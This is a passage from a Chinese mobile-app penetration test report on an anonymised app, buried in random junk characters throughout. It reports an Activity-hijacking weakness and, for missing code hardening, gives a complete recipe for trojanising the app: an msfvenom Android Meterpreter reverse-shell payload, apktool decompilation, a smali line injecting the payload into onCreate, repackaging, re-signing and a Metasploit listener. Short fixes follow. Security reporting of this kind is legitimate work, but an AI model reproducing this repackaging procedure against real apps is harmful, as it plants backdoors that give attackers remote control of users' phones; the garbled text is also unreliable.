表1-2 测试结果 : I! Z; M6 L) u) D, ?/ ~" V l
0 ?( @; h5 r2 H# d
* ~# g2 v5 p& w- a u5 @2 \) N q( I) _) \ ?
/ ]) v% j: f1 a7 M( y5 s( h6 _. H2 K" M
1 L* H- |) ^# k4 y% a
" z; W# H5 A" t/ {! r
6 f7 P* \( ~: g2 M
- ?% C$ ] x- [( h% ~6 {4 O / q6 h0 A3 m+ s6 k; _
: {. |3 ]. p2 w5 Z* W# }
2 检测结果
* U* Z" B4 D: f8 o+ p% N4 V
7 Y- H( D9 V: y+ N
1 _4 U' G: F( h4 V' p! d# @* z1 I/ U( |
d' Y& F+ t6 q7 |5 {- U6 m9 H' |
9 L# Q7 _/ J, h) E, d 2.1 某某某
: g* Q( d8 p7 k2 G3 K8 u
6 f. W) m n6 y) L2 T6 b
/ p& y" Q# ` G3 k9 V3 m/ I5 {+ `
5 G, x" r9 w; ~* n3 D |& T$ F& {! |: X& s7 h* n5 d
2.1.1检测目标
0 k: u: A& t/ T& j4 }/ Z* ]4 h% T- Q5 G3 d- i: |3 e; K
; e4 f0 E, q: x) W
9 Y2 A- t7 m* N( z2 M/ ?* }8 E
5 X! }6 q* y% j9 H; s" K& f5 l6 ]! M( g" _9 z( X- f
目标地址: 某某某某某某APP x1 Q7 u: W5 w+ _" `2 G0 u7 P$ W
9 V! R# {; z+ z$ z* }/ J
+ N; A* F6 b4 a- o6 G; w4 x
; d. P2 \; u1 `% |% ` R
3 `) p0 B$ G' A+ j: W3 ~& U+ Q5 r
2.1.2检测结果
4 d2 \. r( P$ p+ b! A& [
: a; L) @. I3 K
1 Y* v1 L3 }1 N# C" [! d
6 V/ r" z3 ?5 Q* W. i0 G4 R8 B4 | & L( M o6 G2 U' v- J) e
- X7 f# @( a) }0 ^2 [2 H 2.1.2.1
! B5 v/ x% Y# W5 H0 @. Z& x0 r6 P0 y t+ ]3 W" q1 A
4 v% p$ M3 J! M+ h1 T+ M
- ]* T Q9 Q2 e3 O* M+ j6 l) q6 p . d$ _5 D. M5 e# A# Q7 i2 f/ U
8 [3 ], F' k, \8 {& e; d5 n) t
漏洞链接地址:某某某某某某APP
S2 g& ]' S, x3 a* r1 W. r
$ F: s5 a A' V1 x- o/ x6 F# D
# T& {: R' h9 C4 [) H9 D2 `6 b/ {+ d, `
4 k/ ]2 G8 C- e6 f$ O0 @) w }
* L% I3 R7 f0 n+ H 5 G1 f2 g' }" N& T; ^# m
, x- A1 v( Z% O) Z* c7 W' Z* C
) X# B/ B8 \: e) o
, W/ P5 w+ Q/ A5 G' n! I
. L* ^; C- f$ Y: t3 f. y1 @
; k" w; H2 @) x" z6 [2 H# u 漏洞分析及取证: % P% i& Z4 Q' f, I3 q8 V& G/ a
: v3 K. U( Q, f& R
6 @2 | d$ ?5 m& B# U
2 y& S r( ^$ f4 C9 l) V
# t/ ?1 c% B: n
+ n3 q* w0 r8 p( i6 s" [
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
/ h# s+ N( O* w1 j$ \2 r7 a; L$ p, ~ c+ }
% f- ]1 _8 k& W2 a# T
$ N- ^* i+ O; X( H
- s, p$ ?& d; C2 V- D" {3 e2 m& p' f$ r2 m6 Y0 M
1 a; |0 M5 S9 x+ H
7 \3 M; U9 p' ]$ K, p
* ?/ l, m5 f1 U9 \3 D4 o1 ~) x
% X6 x/ a Z! H- a5 ^( I4 Z4 C' y' A # {8 k5 m+ K# o, C- P
2 _* U! r3 C4 R/ J, t * O- `2 l! v7 u
5 }- Q5 K; }1 l
0 N3 }$ y: j# L% s( a
, k4 `6 L0 V' K- L, L d
8 p* x- B U# |% w! Q
1 m3 G0 U& P- r5 k' T/ w: G & o' n1 N5 U U8 H# ^
" X0 |0 B: @; ?- F
5 H6 n) D# b8 Z/ q. b; X9 \2 h. F# o" n; _" r% y5 o! z5 Y
3 _7 Z$ x% g) F& z* @" S0 I
* y9 W8 s" w. b3 @" z. w5 I
4 ]# `1 v' ~6 X3 z! F- ?6 Y' _7 h' n4 G
2 u, r) q: ?, a+ c. r
% z8 X# e6 y. D) Y5 T, s) z9 F& A
* z. `. e# B+ ]( W9 p5 L9 P+ T+ v# c- J) E9 q
7 z: A# F6 y# n) d1 o2 M4 c1 d
5 \6 {8 @/ O$ W m9 t
- Q1 M6 b+ k" X. b
; G) a& e6 j1 f7 J* O: T/ h 9 }5 \$ W5 i$ V% v2 G
' F6 x& }+ {6 D, P- O8 i 漏洞危害:高
+ g$ z2 x$ H# e8 b' C( a) c" ]9 P5 R* e4 h
$ \- {( [2 F6 |" I
% n4 N1 w* T0 x' j. s' i n4 Y / E$ B! \/ {8 x) J5 X6 j
" I9 ^9 T" p* p( p# w& t : G+ q! F( k7 N; S
: r0 E2 E( r' T0 K 1 ~. A0 I+ f+ j2 z7 U& R! l' ~ Y/ o
4 ]7 N. g1 w, |# f8 s' X0 R% I. Y
1 K! L) j2 t" z+ q+ }
2 u% L& ?2 ~+ H; [# b/ n
( O6 x- Z P1 d% m, K3 ~2 s% `2 O6 w% o$ R7 K0 c9 W6 N
7 i5 B& ^; ?, m2 B) ~8 Z1 @
- M" I2 o6 Y1 }6 }% t% P 严重程度
% }9 `1 _4 ~8 H' g6 v. B6 U) U( p8 [# q1 ]/ }. w. l3 |( f' Q
0 y8 s! C$ T$ M0 c: ~3 G! t' _4 e
% d; Y: D+ i4 Y3 ~4 m
| 9 n* i( h( ^$ X6 d/ k7 |9 D9 A" j
( L) j1 C3 b' U7 v) h; f0 T. H. i
; |# D. {, ~# _" v% i4 K- `$ x+ d. C$ a/ I
/ D. G* ~- u! V7 v. Z* I
( W1 H: q/ y6 D5 W1 H/ G 高 4 ~8 v+ h# L! |: ]. A& [- @
6 p6 Y) r7 K7 b" q% a' ]+ O9 E
T( D4 E+ {, G. z! J; g/ Z7 x5 j: |# V. D% P& }
| 3 _) l! I% l- [! ^+ X6 z* ?: c, y/ B
2 r2 t- U, K' K$ w& r* @ / e# f* n0 ^2 f. Y
; h( S- k4 O) j ' v6 Q! @/ z( E9 s! B
6 U& u* N: ~- y( g% j* s ■
) N) y1 o2 C* N8 T/ [6 K0 b) p3 V6 J; |' N+ b6 c# I7 ]( a( D' ^) |
" x9 s1 w4 z% V% V7 f0 X; t) f9 N% ]
|
/ t! ]( r) k- h$ D8 R* q3 j2 M' |9 N1 J8 G( ]7 O- g& E3 d( U. B
' |; ?) m; s0 T( O" y% W& a. l
i2 k/ v( L7 l( {1 ~/ G
" B% N+ X6 L+ a1 k [3 Z; U( K3 f
: O: X3 e9 P$ s! q& [. F( u0 i7 @3 E 中 v' K2 y) Y% v! i8 ]
7 O, f8 F+ O# V5 r B1 L
5 Z7 x# @3 c O
; e& ^5 o; ^- X0 n
|
0 s. I; l n8 N/ G6 M: _! G" P0 ]3 U) w& T1 l% b5 M7 O- c
/ S5 J T4 X1 E) Z
. l/ a( Z/ p: }0 O& R2 ?
" d+ w: o+ @# O3 R: K
7 W* ~7 W& Q, S- v+ N4 ], X/ k 8 x3 t0 i) g, k/ \' ~7 {
/ u1 |& l _" f4 v7 ^
5 R: O& n) y3 k1 T, X# [; o# L
' Q) U' I' h# V* z |
0 ^- ~+ k {. H, J- h; C2 O9 J/ X5 h
9 N) P5 f# M) a/ @5 q8 ?
" k+ ?5 a+ q% _! x& ~- y8 X9 u
* g$ K% {3 T1 ^# G& O4 s. [' V& P
% ?( U* A" Y; U3 ^* ?" {
低 3 u$ ~* n9 y: c, m% v3 j
7 `! t+ ?, m. O4 \( J4 a4 V
5 m* J/ W3 G# s; Q' j3 e# G- T/ s. x) m. g7 y2 Y, F
|
2 M* e* {# ]( Z$ i: G3 u* ?3 l
( X0 H% x/ o2 z0 o D2 i* T ' i( Z) A J/ u; s, \4 r* U, T
# p! s# N2 u( o8 s$ q/ |
6 F1 U! p) U7 C# m# x$ H
: c1 u* s" v) H, F( Y% m) s. u
5 O; O+ Z" q5 N" y" q n
1 l: t$ e# b) a
! _. l6 H( A, ]4 q# l
+ W1 n% v0 a5 E |
2 Q" t) |/ g1 b! l6 V2 C2 p0 F- ]* a5 A
0 Y: f3 k4 L+ F* m
; |) ~& M1 O! `! C; b! K $ [; u) f- s+ @$ t7 r
% p/ C4 `1 f9 }7 ?1 v' X1 C
$ m/ `- D7 a. M# Z: k9 b
6 e/ {8 U7 R+ {! z
( q _( U. {# z6 F5 B: B
' ~( F' c5 N4 z; R
) U; V X! z' m- o8 U" }) T9 c5 V4 _: \
+ k s5 m M7 v( v
; K0 t x; f7 ^% Y/ B# Q' ]
% I1 j! z0 z: u
+ ]1 E) [7 x* R Z+ t9 k
1 }% f' W: v6 F5 m' m% }
# {6 ?8 E) T9 A+ T, M! Y; [: x
; {/ N. L+ e S, k- k. x 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 7 f1 }& m5 G) D: ?& E
! k( M- G- g1 F* M+ P
$ z( c. D. t( J: C5 C$ n: p* z0 x1 s, @5 U6 O& | {
S' K: C* j/ Q7 S) o& Y+ Z+ J6 T* Y. o4 W
/ _% b/ C" K* `! g8 L3 p* t
0 m+ S9 ]8 b# _1 r' G/ L9 B" e
% l0 C) |0 i- Q) U
1 ~+ d; t* H- Z& Z
# p) y# [4 U& }
. D- E) m" x4 D2 r# c8 {
& W2 E; D- z3 y3 c
9 y6 E! d- J3 i, V. h* q: r
5 S3 t/ n4 Z% f) T
* ]7 P% O1 A H3 J6 V
1 E/ Q0 a( _6 [, W& w
% }2 L2 w3 V0 ], r# I3 Z
2.1.2.2 " A% `0 e( w2 @) P
2 N# c; A& F o4 s
; K* ]( S' |5 y' k
4 `% u% q! W) } 3 k( r7 L j. z
: ]+ _# ?* D! j( p0 z 漏洞链接地址:某某某某某某APP 9 I/ O- X9 R3 _% L5 l! J: P5 e
0 A+ q1 f( v2 m( y9 L" I8 L5 X
1 A! [4 e8 q& d0 @% K6 P' J; v5 o8 v
" `2 \6 B; d% T x$ Q3 n4 K
" ^4 G; l! b7 `; O& z2 S Y3 y
+ X% g7 y7 z! Z
漏洞分析及取证:
& N- T, S5 s1 y) R0 [
+ V3 j9 H! P8 y9 V0 t& L
7 X) X$ T/ p6 k: @1 R+ G! u
# j! N" ~5 e0 K
/ L3 i, S3 X& B' r; Z. x! U3 ~0 Y' d
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
% W& m5 I! F* o! @! \! M/ X4 {9 t A
3 I$ \8 H% n8 A: O0 }. k3 m
' p( t2 U, H) l2 K6 M( O
# }; O6 m, S7 r$ h
/ o; T. } m; q+ F 用Metasploit 生成木马 apk + O( M9 n& L5 P7 m
1 L# f/ F' L7 l" d
: }7 |' n( l9 r8 j1 T* \
( J0 S7 o5 y( d+ J
. p. S9 F9 J# a6 g0 k0 }& c6 J2 Q2 G; Y% E4 m4 s- z0 e
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
4 y5 h- B: b8 x& d
" y. o9 e& ?* w
. U. a% _! p) k: S' K
% K5 u. b8 A9 }) {" K
6 b5 F% m/ i; X* e9 j2 I
, M6 z1 P' k# V' s0 {. i+ q- A3 F
反编译目标apk和木马apk
. K! ]5 I+ t5 g) `$ Y! i- s4 z% Z
. l5 s9 h* N5 Y* G# u9 O
8 f4 k' V q: `, U3 V, j0 z
# e' t' W- y1 V- l" m7 d; e4 T: i$ S/ [# q- p% e2 n
apktool d target.apk
) g& i; m+ s4 A3 a0 L) m6 {
R; } u; v0 p apktool d cockhorse.apk
* I( k0 n( |. N0 t: B$ ]
1 F& r; o/ A. v2 ~5 J- m% R8 E0 U
4 H1 I% u! W( m$ q6 n" |- {
% F+ C" a- c) Q : |$ B3 m; c1 O+ g4 j, p
$ a* \) Z+ u4 R% k7 s, x 木马 apk 注入目标 apk : O# R1 |& V% G& M$ y! A
+ v' s0 y2 D! X( }
: i z" t4 Q% C/ j# [
6 r" L M+ R6 w- J% }" c, G
; p" Q% ]# i9 ]+ a7 i4 A5 x3 v d3 M; _6 ^/ b) @
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
" Z- G* S, z7 M; `$ z& C$ F5 N4 h: c
- E& M$ c' h4 c! Q, Z0 h6 T invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V / j3 T1 ?2 h8 d2 T/ c
; D/ ^ _, g$ E2 N" R. V
; m& o7 J. ^# b \/ X' k0 N. z+ V
& N+ i/ q/ D; Y3 M. G ! f' E/ N' B1 G9 }* C
- f' g& J2 ~5 P% e2 w
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 4 X/ R! b1 L' u( h
- q2 _2 X: f; p, g4 s
7 b7 E6 H5 L& n& n; K6 q# f) s
# x! t- G* i3 [/ |& |2 s2 C
6 P" v4 t* }( m( R
: r3 {* d- u* c" j1 J: t$ T 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
/ l1 o) W! O- E2 f* F/ W% x3 l0 z; ~. C/ u% Q! `4 b! S
/ @ [6 l2 T& u0 k
6 s% T+ ^& h) Q; q! P ' v3 y0 j+ F( v% e( b) a
7 M- S2 M: [' r! D5 K' I: O" v 回编译生成最终 apk 6 ~" Y4 y, }4 a/ y) c1 h' l* F+ Z* W
) U9 H) @; s. k+ T' h$ {4 w# p
! @2 E6 Q5 M, @+ d3 V y) i; h' J7 g) I3 }7 x
# O/ R/ C2 ]- f5 u8 ^4 j- A6 F8 Y' P6 A" B/ g9 V
重新打包 6 d9 X9 p1 t% P( W
3 f, K( Q+ b! B8 a& f& j
( V+ i; a1 S2 {4 Z! _: L! X
4 O% s/ c( P5 H6 v, p1 G/ ]5 B
8 }- r' h. o& x- i( G1 R( \% X
4 [1 z: i. s: v7 h0 C, K apktool b -o repackage.apk target_app_floder
9 i' i A* b x& }3 P4 l4 f0 b1 D0 Z6 x1 L; y
& a2 I8 O7 [3 t0 m h9 m
' @6 Y: [- M9 E; z5 A* W! g1 a- J% i
" `. ?6 ^: i+ J; I9 T8 z
: c* W7 c" P: I; h: p& c 创建签名文件,有的话可忽略此步骤
; @ _$ J; ^8 h; A2 N% }( ?3 O) T( a9 h/ h
8 Y$ a% }5 c- g1 E; J! M, f) d1 {
- V! \3 s2 F" v
8 _; W# O# f( f& v2 e: y! g, e& ^7 C, u, ?- b. d. D
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
; O+ X, O, f a8 P
- O! K n* _. G' G' F- h" B. e
% `& f9 X( t; g1 h& f9 R
# ^# ~% i8 E) H* m$ W
% F0 x( m- L) l) x {$ F6 J8 O
+ k1 X( T0 R5 v2 e9 G 签名,以下任选其一
7 w. D1 Y0 `2 f' s4 O5 t, t) ]9 @; v
" F# j2 d+ t2 N* w* y
7 l& T9 q& L5 D% ?) ~* C 1 ]" O4 m4 j. e6 {( }2 h9 F) s
9 m+ J: [. S4 B jarsigner 方式 ) V s% P5 H2 v6 {) [
! b c" Z- ~4 G8 ~' j5 a
0 {) L3 c7 P2 c; J5 ^' P% R% O
! c& O7 \) v, d4 Y( {$ V
0 o8 d8 Q' J6 g* g$ {: A
! ^2 {; R7 s+ i) G7 X jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname + X: \, F" }5 G
: L+ V1 d4 B8 L% w
7 c) P4 k( L# D% u2 D! h, L* q
: x9 w6 y/ g# I. V7 P; H6 N0 x& V! @
+ z3 N a# \* l( ]# |( I2 M! G
; d( v+ y0 }% H
apksigner 方式
9 }$ F1 ^* v# `3 M0 y; Q# K6 l9 j* G1 h- I" U5 G
& m3 ^* e4 b% Q1 q* @' N
& ]8 T% |2 {4 | ! i6 p6 U3 I/ I4 Q6 H# ]8 `
N+ k N) n" E, E9 O; z
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
h- y4 ^" m9 c) D( }3 Z" b+ Y& _9 P9 Q. p: |* h" i, `
/ Q$ r- I! @2 h- X; l! B
9 g- R6 H: J3 S; T- o& R
5 M* x- d/ y' y, g& W; T
; t& h$ w+ U0 V. i' Q! H# w" ] 如需要禁用 v2签名 添加选项--v2-signing-enabled false 3 t' ^+ j4 @* W# c' v/ D- {
& n7 u) h( p7 j5 g7 j- `
' x( ~) U4 O" J2 d5 u0 |5 A4 z8 r4 }& c# \3 F
) W7 A9 O; B) e" T# X& |7 |& c) |7 g' |( J
验证,以下任选其一
7 x4 ~& n, m2 K# ^" o6 m5 |( [7 |( Y, G* t3 e' K9 b
% @) V6 g* T% C
& i1 L: Y( D4 c& Y8 ^/ w9 Y" d
# d, @: d( j# J; D1 c
' E$ l: G2 V6 i/ e" X5 C( U8 r; I
jarsigner方式
, J0 y0 l6 ~5 P( X" g+ [' N* a9 `+ c
8 \5 F1 U/ j/ p9 d8 h( W
4 ]) @% A# M' o- \# E
3 U: v3 a. a+ F+ U
/ l. @' w$ x1 \) n8 ?8 A( {" `$ e/ U B8 v- j2 g! f9 [
jarsigner -verify repackaged.apk 6 [- ` Q. v$ Q2 \& B: R7 Y1 r
7 M3 z" c \$ P( t
2 _, F7 \1 Q& N8 f% V) A. x
, E! I' g# D) c( D- j8 H3 x" j
2 R/ F( |# e( W0 w; O& w/ ?+ L1 z" E0 {6 \& y6 n9 M4 |
apksigner 方式 + l) ~3 i6 g0 m3 \* C/ q5 M k
5 n3 ?. o' | e5 N" E0 L
( [0 _) Q+ I- z7 ^1 Z% n, u5 ^4 E5 u) n" Y8 Y
3 Q( F& r9 A+ O; C& k
W! |) f& o8 p! M6 X J apksigner verify -v --print-certs repackaged.apk
' o- a% h* o, K. [& j, u; n* z* R! V2 k8 [& s' ?
$ H6 U0 w/ @, a7 J' H. h1 h$ ~
% j0 G: f2 I8 ^) p d $ B1 r% c) `- c! ]
6 g8 m: L# I- ?# X. a" w% M) c
keytool方式 $ ]2 l. X7 S9 e. }/ F y+ P
! q) I7 n# P; N$ ]
: m1 R) `! N2 B' x1 H% G; A
* |* j( W4 \4 G. ? c: F9 a5 U* n
4 f9 R5 |1 t7 a
2 [) c' H; v+ | keytool -printcert -jarfile repackaged.apk 6 ~0 M' ~/ |3 |' ?/ |
' ]$ A% {; Y3 n8 r# Q' m
. c7 Y& ^2 B3 y' Z+ r" |0 e: o/ z
) K3 f7 w; c) j' R) z 8 m/ D) E h0 U. }
" e$ ]! D# J! ? _
对齐 6 U, b6 L5 v6 v
( m1 ^, [ H- P/ K, D
$ d1 [7 Q5 J9 B7 V- |
4 U/ L9 o2 P3 S% M! r
. u6 O: i& z0 ^; Q# J' L
6 ]. d- N# o5 C$ Q4 j/ w) w 字节对齐优化
3 E1 }9 b- [6 ^& u2 e" z7 o3 |1 s8 S7 E( A2 J
5 c) s' {; p5 W' s+ v
, L/ \2 G0 h3 X2 t: @' X
! w. W, c+ i* v% u7 y
& i0 W$ c1 J- t" |$ I zipalign -v 4 repackaged.apk final.apk ( k8 e8 F3 o& y3 g
4 J) j% @7 J! d" g( S& O
4 ~' c1 e j4 w' e W9 P) `" N& z9 r0 \
8 n" N3 C( l( r1 `) {- g, g( G6 s; v! x, c
检查是否对齐
$ T( u5 ~8 ~' R6 V1 Y1 R2 Z# p2 X( `7 j
6 }" Y) Y" t3 J
8 v4 R; W( ~$ Z$ J* ?
! G9 f! D% L% u
5 ]+ c$ E& m4 c! j/ x zipalign -c -v 4 final.apk
7 M3 q. H- w6 U+ p/ E1 s3 S# r& m! o$ K3 Y% b
7 l) i" I* w4 [3 k" q; ^
3 c0 ?/ J, r, T. X6 H1 T# Q7 {' {3 I
& `1 \# Z' _/ I* d, N) j: J& U+ W N4 v- e7 ]4 T, h
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 # o; {& Z- ^, U% l+ D3 ^4 I
8 h* h2 @& \1 Z5 E) B# D; r
8 v1 b5 Z4 V9 P# q3 m
& S- F* `% o7 K; ^% K% w
( k& X2 K" h Z! ^5 e- p* B
0 N5 a M" ?; i 启动Metasploit控制台,配置参数等待上线
8 B1 T# c1 f* r, Q
" r7 l2 K5 R) Z. x/ g0 O6 i3 A5 k
5 I4 B0 ]3 r) @+ S1 w Q, p
) o. q# A! k0 y( D
' o8 J; p4 I `. o/ {( q9 A
# d1 B7 R6 t1 s 在终端依次输入如下命令 " J) X# u0 h2 F: L
) N6 r; B; S2 F% X+ ^$ h
# y9 y6 V& E F7 D9 f4 x* M
' x$ g# t( w) s! q7 X* v
7 v9 v3 |6 M1 E& c+ a6 y" N- X9 P( X2 s
msfconsole 7 I' N3 V& o( {* t- N/ A n
8 B. j; u% }9 ?& u
0 Y. M7 \2 @7 O* ?) k/ s" Q0 P: ]$ t: n, ?: A: A
- q1 h0 b5 [: }- d: ]3 ]2 P8 @1 D, K- B- [. S& u3 t" i
use exploit/multi/handler
% G$ A9 o0 J7 v9 ` l
" D& E/ L0 ~5 k( Q4 A3 `4 S5 w
+ w2 l' u: G3 f% A3 n
) n6 Z# F }1 v4 V+ S, E$ }2 q
6 y- z% Q W# [9 [( ~6 R' \- h" @9 p4 `8 t" J
set PAYLOAD android/meterpreter/reverse_tcp m; c7 s- z' b9 { o* u0 `8 X
! J6 `0 M* e2 m$ Z/ Y7 |( a
$ \" ?% I! ?6 R2 `
# }: k0 Q" f" X! k2 N+ P 7 a E7 a: f5 X- h7 n) K/ H
6 `: d' l5 u9 @5 s/ F+ u set LHOST 192.xxx.xx.xx
. n7 Z; z2 z* a, z' j; l) o, g0 Q4 O( x: @3 n) U
1 Q; B% P0 F$ R$ \+ t' U! \# A' H, C' b1 Z: u/ ]/ O# `" i4 Z
6 c D6 l% y% s& k; V, d2 s
' S7 o8 B/ X; X3 Q9 a set LPORT 4444 1 I4 @; H& A; `7 v( k/ w% p
; a9 l4 n9 q( z& j0 O& h8 r
4 ~) C; F! o+ h4 v- E+ {
5 q- z, t; s9 T0 U _ " |0 F' ^+ w% j- a
5 | |. s' ]5 G, V6 c! P9 A
exploit * B _# r( X/ E3 |
3 y g4 M7 J( Z w( F g
- m* y' V# j3 B$ u& c
( J' R. @: i9 D4 N- Q L
4 E9 \+ v" s" H9 ~7 N) T7 d; T) p1 e( C2 s
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
0 M6 G9 D( b$ i: R) M' E* s% s: h1 t D2 j4 |! d
& l$ ]! s p2 ~- ?( m/ l) m
( X$ S8 T) d/ T5 {( H
+ \' K; f: E$ l; ], r7 t! Z
: u$ H6 ]. A$ ^
漏洞危害:中 ' S# L8 ~: A( j- X
0 v9 I: k J. |
; n4 X( u1 F( r& ]0 z4 K2 T+ }' v0 o
# p1 C9 N( X K9 _$ [
5 h: G4 J; G5 {, V# c% t* n
$ G" C/ s, O/ G
4 x: }6 m0 Y& \& A 6 P- P1 g* Y2 _6 [* N, m
$ V; ]0 V6 a7 q1 x" L8 }3 x8 q
1 |+ n s- [ Z. Y
: u1 d; x6 h$ P- h1 j! i5 f& Q
$ Z1 A; h2 U5 \; e7 ~, {
8 C2 k* V- f8 C. c
+ A% b7 V5 r. R# a) F+ |8 B( s. t9 |- Q
5 h1 K, ?6 I) g1 A4 _5 S
* d u6 T% U+ K4 ?" ^! `0 Y/ m' y
严重程度
( U2 p! j5 G8 U7 }# g
# ]( s9 e/ F8 R/ n" s 1 d; u5 k/ P# h: T' q# m
, S$ l5 F2 S6 b+ s1 |* c* Z# n |
8 L: v$ p1 b9 X8 `' V. N' |- _( h4 r& m
8 n x! T/ N8 e3 ~: Y% _
! M- I. ^7 [6 ]8 h
. C% P+ u4 @! C* v# B. f
. f% k" L( e. z3 U8 B9 `
高 ' L r* `# X' |( {2 O) n
% d4 g; q$ S. \$ a- }
0 _% t7 C2 P: o3 Y( [
: h: V4 @2 g8 w4 n |
- c U$ i# m" D5 ^. j. N+ e/ g& K% U( Z! L2 G% E4 ~* R+ K( ~
U4 {, P* Z& E. S8 c5 K' D6 q/ ]" V4 v$ s
( G1 V( k* Y+ Z, {3 r" L- L5 M# \. W* c9 s: ]% S2 [
■ : y' @' i) x- B, X* E
0 G. }4 `% q6 q
% S: ^8 V, M0 H# N: q3 D+ J: J: U
+ z) V" b) B9 [" j |
$ E2 j6 K: B4 I7 p' |( f( w1 t+ U. V& R4 Y
9 T2 `" l3 j9 \) y. A8 H0 p
( K, o F: R1 H }) J
: V; v1 e4 P5 ]( B l: H& g3 W0 [% Y8 R
中
9 v2 Y5 P3 Y5 y6 g) u+ ^
* L( H2 e6 Y9 S- U! Q! N ) J% O% Z8 C; c; x4 g d
1 U; {3 B+ y( t$ f% h5 x( R | + J4 x: O- p3 b# [$ [" O
& Q# A# P7 {7 L; J
- l+ ^9 N0 F* \+ a" ~# d
% t9 U2 p: z7 H. p1 U& @! u
9 K& J E; s! g) C! E
. l0 V1 l+ G& c# J' {
' b6 x" t4 z0 v1 k2 _( h1 v1 }
5 S5 f6 ^+ u0 e; G4 E- @; J 7 p+ s" M) ?( B( b
& ^( ~. S1 G! `# @6 B6 `& Q 6 A7 q$ C' B: F2 O9 M, N* M
, U; `5 {3 L0 x
| * o0 d/ c5 J5 I B
8 Q8 ]! e0 X- q. m
3 T, b& a2 D7 r0 U4 r9 P
8 F b, w- {1 e* g8 A# _2 G! F' H$ Y 2 n: D' Q( O7 V" t! o
. F3 ?0 i3 J" _% \' a( J! H2 { 低 ) @, r4 l" \2 j9 ?
h$ E/ U E3 H( Q- o, ~* I4 H 3 I0 u8 X2 X' U2 Y, V, b2 R
! \8 R! o2 W- ] Q0 I
|
( z( N) X# i9 m% l2 {4 K
) M, H8 r- v5 V3 u2 t+ O5 } * {( W- t+ P) e& X* k( E# R a
2 S1 ] o4 q6 F6 S7 b$ b
0 i# I+ h: e% [; h
+ U$ H5 R+ r3 d. m/ i. l9 x4 D
; e2 J- R8 L/ p8 N0 A4 u2 r" i% H: b9 X# E$ K: ? i& t
2 j* G9 n! y' R5 o% M* u
# O- ^+ h% C; d1 k5 I7 T
/ v7 p, ^4 k h# }
* M5 o) s5 A( l( j |
7 B3 p$ N2 |: N1 p A# I" y) R: _4 G6 R7 T/ Q1 F K
+ c' v; s4 Y: s5 m
/ k/ M1 c1 P8 b0 i5 F) S, k; v
4 A" i; w) a0 J: g& W) E% M1 F- w1 F1 O
5 c- W( n6 P4 ]3 o
! P- [: ]2 V0 |+ {% N
$ \" t2 `" f* K- O, ^( W& n& u9 D( @3 A4 e# b9 {
; k% \. v1 J7 u8 x
5 R2 l+ ^& t) w" b5 }
5 Q4 i! K' g4 e3 }8 O: L/ u
( w$ M& N8 m5 M" J
4 D3 D( V9 V8 D7 W- C' J
- ~9 a) y. T% ?; Q ( K" A. F7 @1 c5 A3 m$ m
, E% p( @+ r* U' F 修复方法: & y% g4 k/ X: y1 e. _8 t \
" i( i: c0 ?8 h W2 l7 @, |7 Q
9 ?7 R: G2 M3 S0 n" t( V. }. a ~4 N) f$ m7 C3 @: c( u
1 j& z% I+ f) d! f& }! F8 z A! J8 X x# w
1.在 APP 启动时应做签名校验防止二次打包。
: z( c; I, W3 M/ T; J; r2 f# k b$ l
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
6 I: ^$ X$ H- N# }5 b3 t
4 r4 }. I( \+ t
& s' D) N% |+ f0 p" m$ |, [- [7 c& p$ N; i! T0 r
) N' g% `% K0 ]7 z" U a
@# |7 ]. [" [. [, J
# o- f% ^9 I8 D
! b: f, l1 u' Q* F( ?& \- n- m , q, I b4 e3 l
/ q' S- W( S8 n1 g$ x, Z
0 `4 h2 \$ h. z( G, \3 S* x
) \( V1 |2 Z& R3 Y
# c# f& s4 K! T! u8 `8 s! f D. z9 [, i0 V; S% w) j
3 f6 @8 C! h x
* E# t# |/ L" E, h4 [" h
* m! y- ~) n7 u
9 B, Q, S7 F5 m; t' Z
& S# j1 E4 b6 g$ I) V# ] o( h$ l3 K4 o5 E